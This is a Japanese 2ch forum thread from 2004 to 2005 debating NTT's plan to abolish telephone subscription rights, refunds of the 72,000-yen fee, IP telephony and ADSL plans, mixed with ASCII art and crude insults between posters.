自宅がヤフーＢＢフォンなんで、ＡＤＳＬはヤフーで。
これがなければ、もっと自由に選べるんだけど・・・
回線不要タイプも検討しましたが、加入権付きの０円セット
でも月２００円しか違わないので、開通が早くて１１０もできる
加入権付きセットにしようかなあと迷ってます。
ちなみに携帯は、節約のために解約しようかと。
その前に自宅のヤフーフォンどうにかしたいorz
0615名無しさんに接続中…
04/11/30 18:18:51ID:Lzk68Di+固定電話は信用のために必要じゃない？
0616名無しさんに接続中…
04/11/30 20:34:55ID:6uTsJ4jH信用って、具体的にどの場面の話？
俺は一人暮らし2年間でどうしても固定電話の番号が必要な場面って
なかったよ。携帯か実家の番号をかけばOK。
0617名無しさんに接続中…
04/11/30 20:38:08ID:6uTsJ4jH忘れたが、"携帯電話だと。。。"と店員が言ったので面倒なので
実家の番号を書いたことが一回あっただけ。
今後はそんな場面も減って、なくなるでしょ。
0618名無しさんに接続中…
04/11/30 22:37:21ID:vzlRfykq無くなるのは困るから
施設だけ国有化で
0619名無しさんに接続中…
04/11/30 23:07:22ID:RDLzhMYa,,,iiil!!lﾞﾞﾞ゛ ﾞﾟﾞﾞﾞ!!liii,,,、
,,iil!!ﾞ° .,,,,,iiiilllll!!!!lllllliiii,,,,, .ﾟﾞ!!lii,,、
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0620名無しさんに接続中…
04/11/30 23:14:26ID:PQB9/H8q高コスト体質が改善されに限り料金価格競争に勝てないだろね。
0621名無しさんに接続中…
04/11/30 23:21:42ID:2yUSaNyE赤字の地方へのサービスはやらず、収益率の高い都市部を中心に展開
ユニバーサルサービスの義務なし
NTTの指定電気通信設備をコスト原価のみ払って使用できる
0622名無しさんに接続中…
04/11/30 23:36:55ID:6uTsJ4jHまあね、過疎化の進む地方に投資するなんてムダ、とか言って
NTTが都市部にしかサービスを展開しないという方針を打ち出したら
困る人は多いよね。まあ、それで困るなら税金を投入すればいい、
って考え方もあるが。
0623名無しさんに接続中…
04/11/30 23:41:39ID:2yUSaNyE税金を投入する前に基金の取り崩しと、指定電気通信設備規制の撤廃という
のがルール。新興グループはそれでやっていける？
0624名無しさんに接続中…
04/11/30 23:50:05ID:6uTsJ4jH俺は、税金投入すればいい、とは思っていないよ。
今くらいのバランスが結構いいと思っている。
0625名無しさんに接続中…
04/12/01 00:25:54ID:jtFF+Rdv自作自演の高コストを見せてカネを巻き上げる手法だけは手放せないんだろうなｗ
0626名無しさんに接続中…
04/12/01 01:38:15ID:/Omv3JA10627名無しさんに接続中…
04/12/01 02:32:57ID:rRW7cqi5\72000返せ
0628名無しさんに接続中…
04/12/01 07:05:17ID:rq25RF3g出来る物ならそうしたい。
そっちの方向へ向いている奴は結構いると思おうよ。
今のうちだけだよ。でかい態度でいられるのは。
0629名無しさんに接続中…
04/12/01 10:06:31ID:hyXkNUwZ0630名無しさんに接続中…
04/12/01 11:20:21ID:vf97Dnf5実家の書くのが嫌なんだよ。
0631名無しさんに接続中…
04/12/01 12:40:07ID:8lFSpz27がまんしろ
0632名無しさんに接続中…
04/12/01 16:54:46ID:Ecal3Bz20633名無しさんに接続中…
04/12/01 18:21:58ID:yoNXuHO1マイライン板に逝ってよし。
0634名無しさんに接続中…
04/12/01 19:27:57ID:Ecal3Bz2タイプ１ タイプ２を知らないバカこそ出ていけ
0635名無しさんに接続中…
04/12/01 20:15:26ID:h0eDibmw0636名無しさんに接続中…
04/12/01 20:23:41ID:KwXfYqsHばか丸出し
0637名無しさんに接続中…
04/12/01 22:10:09ID:5m4MgqhH釣れますた(w
0638名無しさんに接続中…
04/12/01 22:21:44ID:7EDFNKes0639名無しさんに接続中…
04/12/02 23:15:53ID:CpO0K5Em0640名無しさんに接続中…
04/12/03 19:29:00ID:dkqKcgwKhttp://it.nikkei.co.jp/it/newssp/iptel.cfm?i=20041015j1000uk
10/16)ＮＴＴ、光通信で割安ＩＰ電話――月基本料1500－2000円
ＮＴＴが光通信回線による格安電話の本格展開に乗り出す。ＩＰ（インターネットプロトコル）電話と呼ばれるサービスで、
来春にも月額基本料が1500―2000円、通話料を全国一律３分６―８円程度とする事業所向けサービスを全国で開始する。
ＫＤＤＩやソフトバンクグループが予定する割安固定電話よりさらに安い。同時期に一般住宅向けサービスも始める計画で、
企業、家庭とも既存の固定電話からの乗り換えを促す。ＫＤＤＩなどの事業戦略への影響は必至だ。
ＮＴＴは今月１日に現行固定電話の値下げを発表したばかり。この値下げはソフトバンクグループの日本テレコムとＫＤＤＩが
今年12月以降に始める割安サービスへの当面の対抗策と位置付けており、光ＩＰ電話の本格展開で競合他社を一気に引き離す構え。
ＮＴＴは光ＩＰ電話の普及をてこに、ブロードバンド（高速大容量）通信時代の通信インフラとなる光通信網の全国整備を急ぐ。
これって、メタル回線の家庭でもできるんですか？
Ｂフレッツのひかり電話とは別物ですよね？
0641名無しさんに接続中…
04/12/03 19:43:00ID:2G02z7+g＞出来る物ならそうしたい
ならやれば？
0642名無しさんに接続中…
04/12/04 09:59:25ID:gr6h2Enl相変わらずの基本料金設定・・・
0643名無しさんに接続中…
04/12/04 12:06:07ID:uKr4zYWFそれは、Ｂフレッツのオプションプランの話だよ
しかし、なんだその基本料金・・・1500～2000円+ＶＯＩＰアダプタ料金？円かかんだろ・・
eoなら基本料0+ＶＯＩＰアダプタ料金300円だぞ。通話料は7.7～8.4円で同じくらい。
0644名無しさんに接続中…
04/12/04 17:51:51ID:u2g7MsXCやっぱりＢフレのオプションでしたか～
それならそうと、記事にちゃんと書いててほしい
0645名無しさんに接続中…
04/12/04 18:31:31ID:r9mvE5Z5２０１０年までにＩＰ（インターネット・プロトコル）電話網に切り替え、同時に、
光ファイバー化も進めるとする中期経営計画を正式に発表した
あと６年で３０００万回線
３０００万÷６年÷１２ヶ月÷３０日＝一日１.３８万回線開通させて達成できる
どうやったら、全国で毎日１３８００回線も開通できるんだろう？
0646名無しさんに接続中…
04/12/04 19:36:34ID:5N4mgb9Uもう、終わりだな
0648名無しさんに接続中…
04/12/04 23:06:54ID:OifSWlgA馬鹿はおまいだ
基幹網に関してはほとんど光ファイバー化は完成している
今回NTTが発表したのは収容局からのラストワンマイルのドライカッパを
光にするって話だ
0649名無しさんに接続中…
04/12/04 23:08:46ID:OifSWlgA「ドライカッパ」は余計だった
0651名無しさんに接続中…
04/12/04 23:31:10ID:Nns9PiPl基幹じゃなくてき線のことをいっているんじゃない？
き線までの光化が済んだ地域は光収容完了地域とよばれる。
き線点まで光ファイバーが来ていればNTTの都合と加入者の希望により
FTTHを引くことが可能になる。
FTTHを引かない加入者はき線点から先の配線ケーブルはメタルのまま。
回線交換網のソフトスイッチ化。(しばらくはハイブリットで対応)
まんざらホラとも思えんが…
0652名無しさんに接続中…
04/12/04 23:33:18ID:cZJaOIRm0653名無しさんに接続中…
04/12/04 23:37:57ID:Nns9PiPl(IP電話)のための収容モジュールが置かれるんじゃないの？
0654名無しさんに接続中…
04/12/04 23:45:57ID:nm+Aj0lQお前普段どんな仕事してんのかと思う。
0655名無しさんに接続中…
04/12/04 23:49:14ID:MZ53OJbp0656名無しさんに接続中…
04/12/05 05:14:08ID:a5epY3Zbまっとうな企業の目標なら信用できるが、半国営のＮＴＴ
の計画じゃ眉唾もの
0657名無しさんに接続中…
04/12/05 07:11:27ID:Bal2UBA10658名無しさんに接続中…
04/12/05 08:50:23ID:r57Dm49lＮＴＴ幹部は知らないのだろうか。
もっと、世論をしれよ。それとも、理解力がないのだろうか。
0659名無しさんに接続中…
04/12/05 11:59:52ID:9O0WBZiC>テキトーに目標回線書いてると思った？
Lモードは、利用者にはおおむね好評なようだ。しかし、同社はLモード発表時、
サービス開始後1年間で、約100万人の利用者獲得を目指すとしていた。
4ヵ月以上経過した現時点での利用者数が3万人弱では、目標利用者数の達成は難しいと思われる。
(ttp://biz.ascii24.com/biz/news/article/2001/11/08/631094-000.html)
目標のたった3％だったみたいだけど、そろそろ100万人の利用者獲得できますかねぇ？
もう３年が経つんですけどね
0660名無しさんに接続中…
04/12/05 13:45:01ID:HXIq+jT0企業を傾ける騒動になるだろう。
本当のところどうかはわからんが、これまでの経緯を見ても
可能性はあり、非常に危なっかしい限りだ。
0661名無しさんに接続中…
04/12/05 15:37:19ID:Qte6fgCfＬモードは漏れの回りでは大好評だったよ。
ヨドバシなんかで電話やFAXを買うときにＬモードに加入すると最大で1ﾏｿ円くらいを値引きしてくれる。
で、即解約する。
1ヶ月分の料金はかかるけどウマーだった。
漏れもコードレス電話買うときに加入したが一度も使わなかったな。
アリガトーＮＴＴ、アリガトーＬモード
電話加入権はこんなバカなキャンペーンで使い果たしちゃったんだろうなｗ
0662名無しさんに接続中…
04/12/05 16:04:20ID:VKfYEAWZ施設費用がこうして他への流用がされるのか
0663名無しさんに接続中…
04/12/06 02:08:35ID:gpLnwp/Y他社よりは信用がある。
それが現実。
でもＫＤＤＩは、ちょっと別格かな。
0664名無しさんに接続中…
04/12/06 03:13:11ID:UrG0U3pw0665名無しさんに接続中…
04/12/06 08:35:25ID:eV+BqU5QLモードユーザーとメールのやりとりをしている人も"Lモード利用者"と
計算すると余裕で100万人を超えている、かもしれない。
0666名無しさんに接続中…
04/12/06 12:09:36ID:zBsUJpwmそれが認められるなら３万人も相当怪しいもんだな
0667名無しさんに接続中…
04/12/08 16:17:01ID:GvVxNUgU法務省が現実の売買価格より値下げしなければ
財産権の侵害にはならないっていっちゃったからなぁｗ
0668名無しさんに接続中…
04/12/08 23:06:26ID:wDPk2yFM0669名無しさんに接続中…
04/12/09 01:05:27ID:wFm4Bf2q法務省？
0670名無しさんに接続中…
04/12/10 16:35:30ID:PSgFasVH0671名無しさんに接続中…
04/12/11 11:00:55ID:XRda5J170672名無しさんに接続中…
04/12/11 11:04:14ID:XRda5J17何が"俺たちの財産"だよ。最初から返さないと決まっていて、勝手に
相場ができて売買していただけだからNTTには関係ない話だ。
むしろ、値下げしてやるんだからありがたいと思え。
0673名無しさんに接続中…
04/12/11 11:13:20ID:bLn5wOmt0674名無しさんに接続中…
04/12/11 21:54:18ID:FVrEaPKh残りの更に半分が反対、半分がわからないとなってるし
世論支持の形をとっても廃止という流れは崩れない
0675名無しさんに接続中…
04/12/12 04:09:08ID:fdlG4HDJ最低のクズやろう＠工作員
0676名無しさんに接続中…
04/12/13 01:15:28ID:SURoBqoPお前は、買ったものが値下げされるたびに"差額を返せ"と文句を言うのか？
まあ、お前はCHOKKAと3年しばり契約をして"わーい、36000円で買い取ってくれたぞ！"
なんて喜んでろ！まあ、２年もしたら周囲が続々と安いFTTH&IP電話になって
愕然とするんだろうがな。
0677名無しさんに接続中…
04/12/13 01:27:28ID:4Puk/L1Z0678名無しさんに接続中…
04/12/13 01:28:17ID:0Tgt8xjb0679名無しさんに接続中…
04/12/13 06:45:00ID:pt7Aizwdおまえ、この問題の欠片もわかってないんだな
0680名無しさんに接続中…
04/12/13 08:31:08ID:t8Y0V+hF同意。
廃止すること自体に文句はないが、
まともに加入権料を支払った者としては、
どうしても不公平と感じざるを得ない。
おれは抗議の意味を込めて固定電話を停止する。
皆なんらかのアクションを起こそうぜ。
0681名無しさんに接続中…
04/12/13 12:23:17ID:Vfof7WJzNTT、払った工事費返せ！！！
という理屈と同じだね。返ってこないと分かって契約したんだから
ギャーギャー騒ぐなって、貧乏人どもが。
0682名無しさんに接続中…
04/12/13 13:09:02ID:ctvr2xPDまったくオバカちゃんだな～
0683名無しさんに接続中…
04/12/13 18:28:46ID:Vfof7WJz返ってこないと分かって契約したんだからギャーギャー騒ぐなって、貧乏人どもが。
0684名無しさんに接続中…
04/12/13 18:45:53ID:1YJphxKYと念を押しての契約なら逆恨みだが
NTT社員が「返ってくるから安心してください」と契約して
今更 返さないと言うのは ただの詐欺
0685名無しさんに接続中…
04/12/13 18:55:31ID:Vfof7WJzお前は金を払う時に"返ってこないけどいいですね？"と聞かれないと
満足できないのか？
"不必要になった加入権を買い取る業者がありますよ"なら事実を言った
だけだから問題ない。
0686名無しさんに接続中…
04/12/13 19:00:44ID:Vfof7WJz>今更 返さないと言うのは ただの詐欺
で、"NTTが返金する"ってNTT社員に言われたのか？
それなら事実に反するから訴えろ！
0687名無しさんに接続中…
04/12/13 19:43:00ID:U/7vBpV40688名無しさんに接続中…
04/12/13 20:21:22ID:WyyoxV4X不動産や有価証券はもちろん、家具や事務用品も含まれる。
それらを定価より安く売ることはできるだろうが、ある日突然
価値が暴落し、買い取ってもらえなくなったり、安値でしか
取引されないようになることがあるかもしれない。
理由は、「需要がなくなったから」。金を出してまで買おうとする
人がいなくなったのである。
その場合、「私にこれを売った者が悪い」と言えるだろうか？
0689名無しさんに接続中…
04/12/13 21:11:24ID:YnUqmMSG｢利用規約を読んでなかったのに入会同意のボタンをクリックしたから
あなたの責任、代金は自宅の住所電話番号調べて取り立てに伺います。｣
というが、わかりずらい場所に利用規約を置いて契約成立させる。
つまり十分な説明責任をせず棚に上げて客の自己責任を問う。
これを世間では｢詐欺｣という。
加入権問題も100歩譲って勘違いしたとしても、その当時の説明責任と今日に至るまで
加入権に対する認識は世間とＮＴＴとでは大きなギャップがあるが、それを埋める努力をしてこなかった。
わかっていながら見過ごしてきた。つまりこの問題はＮＴＴの怠慢による身から出た錆び。
http://www.ntt-east.co.jp/aboutus/topics/20041105.html
施設設置負担金についてのご説明
後ろめたさがなければ、こんな説明いま頃必要ないだろ。
0690名無しさんに接続中…
04/12/13 21:16:25ID:Vfof7WJzアホガ多いからわざわざ分かりやすく説明したんだろ。
0691名無しさんに接続中…
04/12/13 21:19:34ID:2+4i90Uy後ろめたいから、急に言い訳しだした
0692名無しさんに接続中…
04/12/13 21:23:35ID:Vfof7WJzお前アホ？アホが訳も分からず騒ぎ出したから説明しただけだろ。
0693名無しさんに接続中…
04/12/13 21:27:45ID:D+Lc3TjK人は疑いをかけられて己に自信がないほど弁明が必死になる。
それを社員が証明しているであろう
0694名無しさんに接続中…
04/12/13 21:30:35ID:Vfof7WJz0695名無しさんに接続中…
04/12/13 21:35:08ID:TL305nGT予言的中おめ
0696名無しさんに接続中…
04/12/13 21:39:41ID:Vfof7WJz知らなかった -> アホ
知っていた -> 乞食
0697名無しさんに接続中…
04/12/13 21:41:50ID:Vfof7WJz0698名無しさんに接続中…
04/12/13 22:04:06ID:TL305nGT>残りの更に半分が反対、半分がわからないとなってるし
>世論支持の形をとっても廃止という流れは崩れない
君の頑張りと関係なく世間の流れとして加入権廃止は止められない流れなんでしょ？
だったら、ほっておけばいいじゃない。
そういうところが、物凄くバカっぽいんだけどね。
0699名無しさんに接続中…
04/12/13 22:06:42ID:YkHA95tHお前の指図は受けん
一人で熱くなってるアホはスルーでよろしこ
0700名無しさんに接続中…
04/12/13 22:17:04ID:cPf+wjwj0701名無しさんに接続中…
04/12/13 22:20:09ID:roij4USxこれからの季節、社員のアホが感染らないようにね
0702名無しさんに接続中…
04/12/13 22:42:28ID:Vfof7WJzムダにあがく貧乏人をからかうのが楽しいだけ
0703名無しさんに接続中…
04/12/13 23:22:15ID:1YJphxKY0704名無しさんに接続中…
04/12/13 23:33:32ID:SURoBqoP書き込みを始めたんだがな。
0705名無しさんに接続中…
04/12/14 01:37:26ID:myStJAjg自分も同じだと気が付かないのが笑えるよな
本当にどうにかしたいならもっと影響あたえられるところにいってやれよ
0706名無しさんに接続中…
04/12/14 02:02:48ID:yYw0Ad3y0707名無しさんに接続中…
04/12/14 03:34:10ID:QRQpvFHo加入権料廃止に反対はしないよ。
ただ既に支払った金を無駄金にされるのが我慢ならない。
だったら返せと言ってるだけだ。
0708名無しさんに接続中…
04/12/14 04:49:30ID:qd8xY//Fあそこだけは、ダメだな。
0709名無しさんに接続中…
04/12/14 09:39:02ID:hq0llkYK対通信事業者に関しては光ファイバー開放義務撤廃、
NTT側の合理化は着実に進んでいるね
0710名無しさんに接続中…
04/12/14 10:05:50ID:453zGp/lNTTは安泰だね！
0711名無しさんに接続中…
04/12/14 10:10:26ID:6qbZSn7t0712名無しさんに接続中…
04/12/14 14:25:46ID:453zGp/lhttp://vip.6to23.com/jpgman/gui/gui.htm
0713名無しさんに接続中…
04/12/14 16:49:55ID:hq0llkYK結局、加入権がなくても同じ料金で電話使えるようになったから買い取って欲しいの？
加入権がなくても電話使えるんだったらそんな権利無価値だよね
0714経理の人
04/12/14 17:53:15ID:sYSYewyU0715名無しさんに接続中…
04/12/14 18:12:18ID:hq0llkYK直収電話始まった時点でこんなもの無価値じゃん
0716名無しさんに接続中…
04/12/14 18:17:40ID:453zGp/l多分そういう意味ではないと思う。例えば
今期：ギリギリ黒字、セーフ
と思ったら、資産計上している加入権72000円x100回線を損金処理
赤字かよーーーー
みたいなことじゃないの？実際には現在資産計上している加入権を
どう処理するかの具体的な指針はないみたいだけどね。
0717名無しさんに接続中…
04/12/14 18:18:32ID:453zGp/l"うわー、買い集めた加入権売れねー、倒産しちゃうよーーー"
0718名無しさんに接続中…
04/12/14 19:29:00ID:lPcYS6Ia0719名無しさんに接続中…
04/12/14 20:47:50ID:hq0llkYKナントカ電電の事？
0720名無しさんに接続中…
04/12/14 22:45:26ID:myStJAjg0721名無しさんに接続中…
04/12/14 22:52:07ID:UfmW7Wnl偉い(アフォな)人にはそれが分からんのですよ
0722名無しさんに接続中…
04/12/14 23:21:31ID:UfmW7Wnl0723名無しさんに接続中…
04/12/14 23:22:28ID:UfmW7Wnl0724名無しさんに接続中…
04/12/16 01:35:41ID:LQLf1MCH0725名無しさんに接続中…
04/12/23 12:37:23ID:CDk+apC/文句言ってる奴は馬鹿なんじゃない？
0726名無しさんに接続中…
04/12/23 15:59:04ID:+R0FHhUX基地外きたー
0727名無しさんに接続中…
04/12/23 16:50:57ID:k85VAbOR／ ＼ ～～～～～
| ＿＿丿ﾉﾉ＿＿| つ～ん
| ／U ＿） ＿） ﾌﾟｩ～ん
| | （ ～～～
| ノ（ ６ ∵（ 。。）∵|
○::::::::: U U |
○::::::::::: ）３ / ＜加入に伴う初期費用をなくするんだから、
○＼ ＼::::::::: U ＿＿／ ＜消費者にとってはメリットだけじゃん。
○ ＼ ＼＿＿＿＿＿）
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/:::＼::::: ＼::: ヽ| ﾌﾟﾙﾌﾟﾙ
/:::: ＼::::: ＼::: ヽ ））
|::: ＼:: ￣￣⊇
|::::::: ＼;;;;;;;;;;;（つ ｡･ﾟ･(ﾉД`)･ﾟ･｡ ｸｾｰ
ε≡＼:::::::::: （秘） ～
ﾌﾞｯ ＼:::::::::::: ） ）～ ﾌﾟｰﾝ
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／::::: （＿（＿ ﾄﾞｽ
（;;;;;;;;;;;＿＿っ)))つ)) ﾄﾞｽ
0728名無しさんに接続中…
04/12/24 19:44:44ID:ixMHNo2S友人が加入権ひとつあまっててNTTに預けてあるって言うてたから
売買可能なら買おうかな思ってん
0729名無しさんに接続中…
04/12/24 20:02:02ID:o5hRWWQV売り側の印鑑証明があれば簡単
手数料数百円です
手続きは営業所へ
0730728
04/12/24 20:28:58ID:ixMHNo2Sおしえてもろて嬉しいわぁ
営業所ってもちNTTのやんね？ ｳﾁの住む街には
営業所ないんやけど(最近はそゆとこ多いらしいね)
NTTの営業所なら別に自分の所在地でなくても何処でも良いんやろか？
0731名無しさんに接続中…
04/12/24 20:35:20ID:v+Rd2ep20732名無しさんに接続中…
04/12/24 23:29:31ID:DmlcLi9z72000円返さなくていいから、この金を使って買った施設をくれ。
もう旧式の電話網なんかいらんのでしょ？
0733名無しさんに接続中…
04/12/25 02:32:09ID:OB6GJ6Mi0734名無しさんに接続中…
04/12/26 00:38:59ID:CRQ35qDm全然正当じゃないだろ。そもそも「返す」必要なんかないんだから。
0735名無しさんに接続中…
04/12/26 01:04:38ID:I3fT3B7m／ ＼ ～～～～～
| ＿＿丿ﾉﾉ＿＿| つ～ん
| ／U ＿） ＿） ﾌﾟｩ～ん
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| ノ（ ６ ∵（ 。。）∵|
○::::::::: U U |
○::::::::::: ）３ / ＜全然正当じゃないだろ。そもそも「返す」
○＼ ＼::::::::: U ＿＿／ ＜必要なんかないんだから。
○ ＼ ＼＿＿＿＿＿）
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ε≡＼:::::::::: （秘） ～
ﾌﾞｯ ＼:::::::::::: ） ）～ ﾌﾟｰﾝ
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／::::: （＿（＿ ﾄﾞｽ
（;;;;;;;;;;;＿＿っ)))つ)) ﾄﾞｽ
0736名無しさんに接続中…
04/12/26 11:41:30ID:mEUMMfLS問題ないだろ。
0737名無しさんに接続中…
04/12/26 23:10:17ID:PID8/oiX問題ないだろ。
0738名無しさんに接続中…
04/12/27 08:34:25ID:cgzD+oqX0739名無しさんに接続中…
04/12/27 23:03:52ID:mFyskbGN~ヽヽ Ｕ /ノ
ヽﾉ
／:::::::::::::::::::::＼
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|:::::::::::|＿|＿|＿|＿|＿|
-´⌒二⊃. |＿|＿ノ∪ ＼,, ,,／ ヽ ⊂二⌒丶
＿ソ. |::（ 6 ー─◎─◎ ） ヾ_＿
. |ﾉ （∵∴∪（ o o）∴）
| < ∵ ３ ∵>
／＼ └ ＿＿_ ノ
.＼＼U ＿＿＿ノ＼
＼＼＿＿＿＿） ヽ
患者：>>1 性別：男 年齢：２８歳
身長：１６６センチ 体重：７３キロ
職業：フリーター
最終学歴：コンピュータ専門学校
状況：ほぼ童貞、2度程風俗に行くが交渉までに至らず果てる
車：マツダ車
当人は容姿に対するコンプレックスが異常に強く、しかも興奮
しやすい体質で、強烈なルサンチマンと妬み嫉みや日頃の
うだつのあがらなさから、粗暴な行動や、暴言を吐く等の行動
により周囲に危害を与えており、病的と判断するのが適当である。
自分の思うままに至らないと勝手にスレ建てをしたりする我ままさ。
当人の病名は反社会性人格障害と推測される。
２００４年１２月 ２ｃｈ似非臨床心理士会
0740名無しさんに接続中…
05/01/02 17:37:28ID:6yAuR7XZ今色々な所で加入権安く販売してますがどこが安心出来る業者か
よく解りません
NTTからの直買いではなくそういった業者から買われた方々も
多々いらっしゃると思いますが、どの様に業者を選んだか等の
ｱﾄﾞﾊﾞｲｽ頂けたら幸いです
ｼｮｯﾌﾟでPCを買うつもりはなくそのての店での申し込みは
しない方向で、ﾈｯﾄで格安ﾌﾟﾗﾝを探したいと思っています
0741名無しさんに接続中…
05/01/04 00:11:08ID:7wuJ2Gy/なら、平成電電に売っちゃうよ。
0742名無しさんに接続中…
05/01/04 03:53:01ID:eHwGB3mjそういうことするとNTTの思う壷なんだが
今は 徹底的に国民が諦めるのを待っている
ここで諦めたら向こうの思う壷
0743名無しさんに接続中…
05/01/04 06:05:05ID:7wuJ2Gy/私は昔、地元の業者から買いました。電話が開通してからの支払いでした。
ネットでだけ探すという意味ですか？
別にNTTの権利を買わなくても、今は電話引けるよ。買うなら、安いとこでいいのでは？
0744740
05/01/04 16:30:21ID:jGVG/VU+㌧ｸｽ！
そうです、近所にｿﾉﾃの業者はないし家電店ではまだまだ高いので
ﾈｯﾄで探すのがてっとり早いと思いまして
やはりまだNTTの権利でないと自分の住む所では…
Chokkaくらいですから、今の所選択肢があるのは
KDDIのﾒﾀﾙﾌﾟﾗｽはｴﾘｱ外ですしおとくﾗｲﾝも3月まで待たないといけないし
普通に開通されるのかも不安なので(意味解りますよね)
ADSLも加入したいのでやはりNTTが無難かと思ってます
楽天でも加入権売ってますがやはりそういう安心出来そうな所で
買った方が良いですかね？
0745名無しさんに接続中…
05/01/04 17:13:08ID:JIzIMMUY今は、ADSL同時加入なら加入権０円で入れるのに
なんでタイプ２で毎月６４０円も上乗せされる非加入権に入る人も居るんだろう？
本家ヤフーBBサイトでも加入権８００円なのにライトプランが用意されているｗ
あとADSL信号の送出にメタル線が必要なのは当然だが音声電話いらねでも
ADSL回線使用料取るのに別途音声加入回線使用料徴収が前提
なのはなんでだろ、音声電話信号と同時に乗せないと技術的にまずい事
など何も無いわけだが（BフレッツのVDSLは加入回線契約要りません）
ライトプランやタイプ２こそ音声電話が出来ない分普通の加入回線使用料より
安くならないとおかしい。。。一種の抱き合わせ販売か。
0746名無しさんに接続中…
05/01/04 22:15:53ID:Ti2rl4dY0747名無しさんに接続中…
05/01/04 23:29:47ID:bufy5/xChttp://www.na.rim.or.jp/~miyakawa/fordyce-r.htm（写真付き）
http://www.midori-clinic.or.jp/derma.htm（写真付き）
0748名無しさんに接続中…
05/01/05 18:02:32ID:q2UjF9/o／ ＼ ～～～～～
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○::::::::::: ）３ / ＜税務上、会計上は何もおかしなことはない。
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0749名無しさんに接続中…
05/01/06 11:57:32ID:pG3LMLY+ツッコミどころ満載だが、放置
0750名無しさんに接続中…
05/01/08 17:46:46ID:AGAY8CNEhttp://chubu.yomiuri.co.jp/news_top/050107_3.html
0751名無しさんに接続中…
05/01/08 21:45:18ID:h5pSIzMa／ ＼ ～～～～～
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○::::::::::: ）３ / ＜税務上、会計上は何もおかしなことはない。
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05/01/08 21:45:32ID:aouZEyEd／ ＼ ～～～～～
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○::::::::::: ）３ / ＜税務上、会計上は何もおかしなことはない。
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0753名無しさんに接続中…
05/01/13 21:57:38ID:qISh7FBu／ ＼ ～～～～～
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0754名無しさんに接続中…
05/01/15 11:19:37ID:VMfpTnqH／ ＼ ～～～～～
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| ／U ＿） ＿） ﾌﾟｩ～ん
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| ノ（ ６ ∵（ 。。）∵|
○::::::::: U U |
○::::::::::: ）３ / ＜法律も会計も契約も歴史的経緯も、
○＼ ＼::::::::: U ＿＿／ 何も知らずに騒いでいる馬鹿ばっかり
○ ＼ ＼＿＿＿＿＿）
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ε≡＼:::::::::: （秘） ～
ﾌﾞｯ ＼:::::::::::: ） ）～ ﾌﾟｰﾝ
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0755名無しさんに接続中…
05/01/16 08:31:40ID:Q/YBHBJu／ ＼ ～～～～～
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| ノ（ ６ ∵（ 。。）∵|
○::::::::: U U |
○::::::::::: ）３ / ＜論理的に主張できないヘタレばっかり
○＼ ＼::::::::: U ＿＿／
○ ＼ ＼＿＿＿＿＿）
／;;;::::::::::::::: ::::| ﾌﾟﾙﾝ
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0756工作員
05/01/18 19:34:01ID:QlzNILl20757名無しさんに接続中…
05/01/18 19:34:35ID:QlzNILl20758工作員
05/01/18 19:35:37ID:QlzNILl2何も困らない。加入時に払った72000円は、名目はどうであれ加入時の一次費用なわけ
だから、もともと返金されることなんか期待してないだろ。
加入権屋に売れなくなることが損害だなんてのは言いがかりもいいところ。
消費者連盟の奴が言っている「泣き寝入り」ってのも意味不明だが、要は電話が
不要になったときに加入権を叩き売れなくなるってことを言ってるのか？
文句言ってる関連業界って、加入権業者だけだろ。そんな寄生虫みたいな業界を
わざわざ救ってやる必要はなし。
資産計上している企業には、税務上償却費を損金参入することを認めてやれば
十分だろ。
なんでこんなことが問題になるのか、全くわからない。法律や会計の知識がない
大衆を、中途半端な知識であおってる連中がいるみたいだな。
0759工作員
05/01/18 19:36:05ID:QlzNILl2＞資産計上している企業には、税務上償却費を損金参入することを認めてやれば
十分だろ。
あほですか（ｗ
23 名前：名無しさん＠５周年[] 投稿日：04/10/21(木) 04:13:09 ID:VJ2jsgVL
>>22
まさにそこが論点の一つだろ？
0760工作員
05/01/18 19:36:43ID:QlzNILl2その資産の評価を切り下げる必要があり、それによる損失に耐えられるかどうか
という問題も発生するが、それは加入権に限らず資産が減価することは一般論として
ありうるわけだから、この件に限って問題にする必要はない。
また、質権を設定しているケースも同様。質権設定対象の価値がなくなってしまう
ことは通常でもありうるし、そもそも加入件廃止の話は何年も前からくすぶっていた
のだから、今まで何の手当てもせずに来ている企業がいるとすれば、それは時代の
流れを読めなかった自己責任だわな。
0761工作員
05/01/18 19:37:07ID:QlzNILl20762工作員
05/01/18 19:37:28ID:QlzNILl2消費者が何らかの勘違いをした可能性はあるから、その点について何らかの
責任をNTTは負うかもしれない。でも、それは、加入権がNTTに対する債権で
あるとか、加入権として払った金を返せとかいう議論とは別のものだね。
0763工作員
05/01/18 19:38:00ID:QlzNILl2読売新聞社説(10/21)
［電話加入権］「何らかの補償が要るのでは」
http://www.yomiuri.co.jp/editorial/news/20041020ig90.htm
>>41
いつまでも大切な財産になるから
つきあいを広げながら、
自分だけの財産をつくる、
なんて、大人っぽいよね。 ←この際関係無いが痛いコピーだ
電話の権利は、
引越しをしても、時代が過ぎても、
ずっと使えるから、
初めて持つ財産にぴったり。
http://www.soumu.go.jp/s-news/2004/pdf/040909_1_125.pdf
45 名前：名無しさん＠５周年[] 投稿日：04/10/21(木) 04:42:13 ID:VJ2jsgVL
>>42
一番下のリンク先の資料は誰が作ったものかわかる？なんか、すげぇﾃﾞﾑﾊﾟゆんゆんで
読みながら笑っちゃったよ。
0764工作員
05/01/18 19:38:30ID:QlzNILl2>>45
いや、引用されてるNTTのパンフレットも負けてないぞ
47 名前：名無しさん＠５周年[] 投稿日：04/10/21(木) 04:46:38 ID:VJ2jsgVL
>>46
それには同意。まあ、強いて弁ずるならば、「加入権が財産」とは言っているけど、それは
あくまでも「電話に加入することができる権利」であって、換金性のある財産であるとは言って
いないから、まあ嘘はついていないな。非常にミスリーディングなのは事実だと思うけど。
0765工作員
05/01/18 19:38:53ID:QlzNILl20766工作員
05/01/18 19:39:11ID:QlzNILl2讀賣の書いてることは、理屈としては正当性はないけど一つの落としどころ
ではあるのかなぁ。でも、期間に応じて金額計算して、登録上の加入権者に
返金するとなると、事務工数は膨大にかかりそうだね。
0767工作員
05/01/18 19:39:37ID:QlzNILl2加入権に関するスレ一覧、漏れはあるかもしれないけど参考まで。
電話加入権：２０１１年めどに廃止へ
http://money3.2ch.net/test/read.cgi/bizplus/1097285009/
【通信】ＮＴＴ、固定電話加入権廃止を検討【09/16】
http://money3.2ch.net/test/read.cgi/bizplus/1095289036/
【社会】「ＮＴＴの電話加入権廃止、国家的詐欺だ」 個人契約者の救済困難★２
http://news19.2ch.net/test/read.cgi/newsplus/1098297743/
【電話加入権】"新規加入の妨げ"廃止を容認 NTTの「判断」で2011年に 総務相諮問機関
